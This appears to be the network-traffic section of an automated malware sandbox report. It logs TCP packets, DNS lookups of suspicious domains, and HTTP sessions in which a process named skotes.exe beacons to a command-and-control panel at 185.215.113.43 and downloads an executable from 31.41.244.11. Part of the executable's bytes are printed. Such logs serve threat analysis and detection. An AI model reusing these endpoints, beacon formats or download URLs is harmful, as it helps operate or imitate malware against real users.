Dec 18, 2024 21:30:48.812048912 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.812084913 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.812733889 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.812757969 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.812813997 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.813359022 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.813374043 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.813425064 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.814048052 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.814064026 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.814107895 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.814743042 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.814758062 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.814811945 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.815432072 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.815447092 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.815458059 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.815479994 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.815521955 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.816103935 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.816118956 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.816163063 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.816832066 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.816845894 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.816888094 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.817456007 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.817468882 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.817527056 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.818159103 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.818171978 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.818181992 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.818223953 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.818244934 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.818857908 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.818871021 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.818916082 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.819550037 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.819561958 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.819601059 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.820214033 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.820226908 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.820272923 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.821090937 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.821105957 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.821167946 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.821594954 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.821609020 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.821619987 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.821654081 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.821712017 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.822267056 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.822285891 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.822314024 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.822339058 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.822983027 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.822995901 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.823040962 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.823719978 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.823734045 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.823781013 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.823815107 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.824332952 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.824347019 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.824358940 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.824398041 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.824429035 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.825078964 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.825094938 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.825149059 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.825723886 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.825745106 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.825799942 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.826410055 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.826422930 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.826472998 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.827078104 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.827099085 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.827142000 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.827794075 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.827806950 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.827816963 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.827848911 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.827866077 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.828484058 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.828500032 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.828541040 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.829195023 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.829209089 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.829247952 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.829868078 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.829885006 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.829911947 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.829945087 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.830547094 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.830560923 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.830571890 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.830601931 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.830636978 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.990207911 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.990305901 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.990350962 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.990364075 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.990401030 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.990432024 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.990852118 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.991209030 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.991219997 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.991255045 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.991297960 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.991755009 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.992036104 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.992047071 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.992082119 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.992117882 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.992685080 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.992697001 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.992747068 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.993221998 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.993280888 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.993288994 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.993320942 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.993927956 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.993941069 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.993971109 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.993985891 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.994396925 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.994440079 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.994458914 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.994498968 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.995112896 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.995125055 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.995173931 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.995908976 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.995922089 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.995996952 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.996462107 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.996474028 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.996517897 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.997186899 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.997200012 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.997210026 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.997252941 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.997252941 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.997988939 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.998002052 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.998054981 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.998079062 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.998532057 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.998543978 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.998589039 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.999362946 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.999375105 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.999423027 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:48.999975920 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.999988079 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:48.999998093 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:49.000025988 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:49.000060081 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:49.000729084 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:49.000741005 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:49.000786066 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:49.001302958 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:49.001315117 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:49.001343966 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:49.001380920 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:49.001945972 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:49.001966000 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:49.002012014 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:49.002707958 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:49.002722979 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:49.002768040 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:49.003376961 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:49.003388882 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:49.003400087 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:49.003421068 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:49.003458023 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:49.004079103 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:49.004091024 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:49.004136086 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:49.004802942 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:49.004815102 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:49.004846096 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:49.004901886 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:49.005595922 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:49.005608082 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:49.005651951 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:49.006089926 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:49.006102085 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:49.006113052 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:49.006145000 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:49.006165981 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:49.006877899 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:49.006891012 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:49.006922960 CET	49819	80	192.168.2.5	31.41.244.11

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 18, 2024 21:30:21.238811016 CET	192.168.2.5	1.1.1.1	0xd8d0	Standard query (0)	treehoneyi.click	A (IP address)	IN (0x0001)	false
Dec 18, 2024 21:30:22.275845051 CET	192.168.2.5	1.1.1.1	0x7528	Standard query (0)	github.com	A (IP address)	IN (0x0001)	false
Dec 18, 2024 21:30:25.091763020 CET	192.168.2.5	1.1.1.1	0xf98b	Standard query (0)	raw.githubusercontent.com	A (IP address)	IN (0x0001)	false
Dec 18, 2024 21:30:29.683451891 CET	192.168.2.5	1.1.1.1	0xa5d9	Standard query (0)	aspecteirs.lat	A (IP address)	IN (0x0001)	false
Dec 18, 2024 21:31:01.264651060 CET	192.168.2.5	1.1.1.1	0xcd3b	Standard query (0)	cheapptaxysu.click	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Dec 18, 2024 21:30:21.544775963 CET	1.1.1.1	192.168.2.5	0xd8d0	No error (0)	treehoneyi.click	172.67.180.113	A (IP address)	IN (0x0001)	false
Dec 18, 2024 21:30:21.544775963 CET	1.1.1.1	192.168.2.5	0xd8d0	No error (0)	treehoneyi.click	104.21.91.209	A (IP address)	IN (0x0001)	false
Dec 18, 2024 21:30:22.415431976 CET	1.1.1.1	192.168.2.5	0x7528	No error (0)	github.com	20.233.83.145	A (IP address)	IN (0x0001)	false
Dec 18, 2024 21:30:25.231190920 CET	1.1.1.1	192.168.2.5	0xf98b	No error (0)	raw.githubusercontent.com	185.199.111.133	A (IP address)	IN (0x0001)	false
Dec 18, 2024 21:30:25.231190920 CET	1.1.1.1	192.168.2.5	0xf98b	No error (0)	raw.githubusercontent.com	185.199.108.133	A (IP address)	IN (0x0001)	false
Dec 18, 2024 21:30:25.231190920 CET	1.1.1.1	192.168.2.5	0xf98b	No error (0)	raw.githubusercontent.com	185.199.109.133	A (IP address)	IN (0x0001)	false
Dec 18, 2024 21:30:25.231190920 CET	1.1.1.1	192.168.2.5	0xf98b	No error (0)	raw.githubusercontent.com	185.199.110.133	A (IP address)	IN (0x0001)	false
Dec 18, 2024 21:30:30.176373959 CET	1.1.1.1	192.168.2.5	0xa5d9	No error (0)	aspecteirs.lat	104.21.66.85	A (IP address)	IN (0x0001)	false
Dec 18, 2024 21:30:30.176373959 CET	1.1.1.1	192.168.2.5	0xa5d9	No error (0)	aspecteirs.lat	172.67.157.253	A (IP address)	IN (0x0001)	false
Dec 18, 2024 21:31:01.598732948 CET	1.1.1.1	192.168.2.5	0xcd3b	No error (0)	cheapptaxysu.click	104.21.67.146	A (IP address)	IN (0x0001)	false
Dec 18, 2024 21:31:01.598732948 CET	1.1.1.1	192.168.2.5	0xcd3b	No error (0)	cheapptaxysu.click	172.67.177.88	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49788	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Dec 18, 2024 21:30:04.652390003 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 18, 2024 21:30:05.999687910 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 18 Dec 2024 20:30:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49801	185.215.113.43	80	2516	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 18, 2024 21:30:07.633079052 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 37 32 41 37 38 42 31 35 45 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7AB72A78B15E82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Dec 18, 2024 21:30:09.018536091 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 18 Dec 2024 20:30:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 33 64 0d 0a 20 3c 63 3e 31 30 31 37 30 32 34 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 38 61 62 65 65 65 31 66 62 39 65 32 37 63 37 31 37 31 66 65 39 30 61 62 35 31 61 31 64 30 33 35 65 39 65 38 39 65 37 31 34 65 32 38 62 39 61 35 35 33 36 65 36 23 31 30 31 37 30 32 37 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 38 61 62 65 65 65 31 66 62 39 63 32 65 63 31 31 32 31 38 65 37 30 33 62 31 31 65 31 64 30 33 37 34 62 36 66 39 63 30 33 36 62 38 61 62 39 61 35 35 33 36 65 36 23 31 30 31 37 30 38 31 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 38 61 62 65 65 65 31 66 62 63 39 36 61 38 30 35 31 34 35 62 30 30 32 61 62 35 65 34 35 34 32 35 31 39 37 64 31 61 61 31 64 61 61 61 38 23 31 30 31 37 30 38 32 [TRUNCATED] Data Ascii: 63d <c>1017024001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fb9e27c7171fe90ab51a1d035e9e89e714e28b9a5536e6#1017027001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fb9c2ec11218e703b11e1d0374b6f9c036b8ab9a5536e6#1017081001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbc96a805145b002ab5e45425197d1aa1daaa8#1017082001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fb9a2ac3121fea06b71d0b685dcdc5f22f8be3d1482b#1017083001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbcc7a9d5143a65ae003564d5b9cd3e956b7b5d1#1017084001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbc67e805545b01cf64d4a485a9592e100b7#1017085001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbd32c86444db31cf64d4a485a9592e100b7#1017086001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbde719b5059bb00ab5e45425197d1aa1daaa8#1017087001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbcf70964e03ac52ea484b411b9dc4e1#1017088001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbcd7e86 [TRUNCATED]
Dec 18, 2024 21:30:09.018619061 CET	124	IN	Data Raw: 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 38 61 62 65 65 65 31 66 62 63 37 37 30 39 63 34 35 34 33 62 30 31 63 66 36 34 64 34 61 34 38 35 61 39 35 39 32 65 31 30 30 62 37 23 31 30 Data Ascii: a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbc7709c4543b01cf64d4a485a9592e100b7#1017090001+++b5937c1a99d5f9df0b5dafc85062384
Dec 18, 2024 21:30:09.251915932 CET	428	IN	Data Raw: 37 36 30 61 63 30 32 62 34 64 65 64 38 61 62 65 65 65 31 66 62 64 65 37 31 39 62 35 30 35 39 62 62 30 32 61 62 35 65 34 35 34 32 35 31 39 37 64 31 61 61 31 64 61 61 61 38 23 31 30 31 37 30 39 31 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 Data Ascii: 760ac02b4ded8abeee1fbde719b5059bb02ab5e45425197d1aa1daaa8#1017091001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e7e7b9ca30804042ba5ce902415450#1017092001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8f8e6b1ca72dd534db057eb410a494d9d#101

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49802	31.41.244.11	80	2516	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 18, 2024 21:30:09.377264023 CET	66	OUT	GET /files/5856379169/kf5cl0F.exe HTTP/1.1 Host: 31.41.244.11
Dec 18, 2024 21:30:10.730556011 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 18 Dec 2024 20:30:10 GMT Content-Type: application/octet-stream Content-Length: 21504 Last-Modified: Wed, 18 Dec 2024 18:13:28 GMT Connection: keep-alive ETag: "676310c8-5400" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 70 6d 3b c0 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 4a 00 00 00 08 00 00 00 00 00 00 3a 69 00 00 00 20 00 00 00 80 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 c0 00 00 00 02 00 00 00 00 00 00 03 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 e6 68 00 00 4f 00 00 00 00 80 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a0 00 00 0c 00 00 00 54 68 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELpm;"0J:i @ `hOTh8 H.text@I J `.rsrcL@@.relocR@BiH6p108s2(}<}=};\|<(+\|<(0P~,Brp(rcp((rp(((o(08s,(}}}\|(+\|(0Hs/+~~ioX-rp(+0rp( o!+*0rp( o!+
Dec 18, 2024 21:30:10.730698109 CET	224	IN	Data Raw: 00 06 2a 00 00 13 30 03 00 32 00 00 00 06 00 00 11 00 02 72 ef 00 00 70 72 f7 00 00 70 28 22 00 00 0a 6f 23 00 00 0a 0a 06 06 28 03 00 00 2b 28 04 00 00 2b 73 26 00 00 0a 28 27 00 00 0a 0b 2b 00 07 2a 00 00 1b 30 04 00 ad 00 00 00 07 00 00 11 00 Data Ascii: 02rprp("o#(+(+s&('+0s(rp( (+~%-&~s*%(+(+o-+@(.o/,%o0Xo1+o1(2
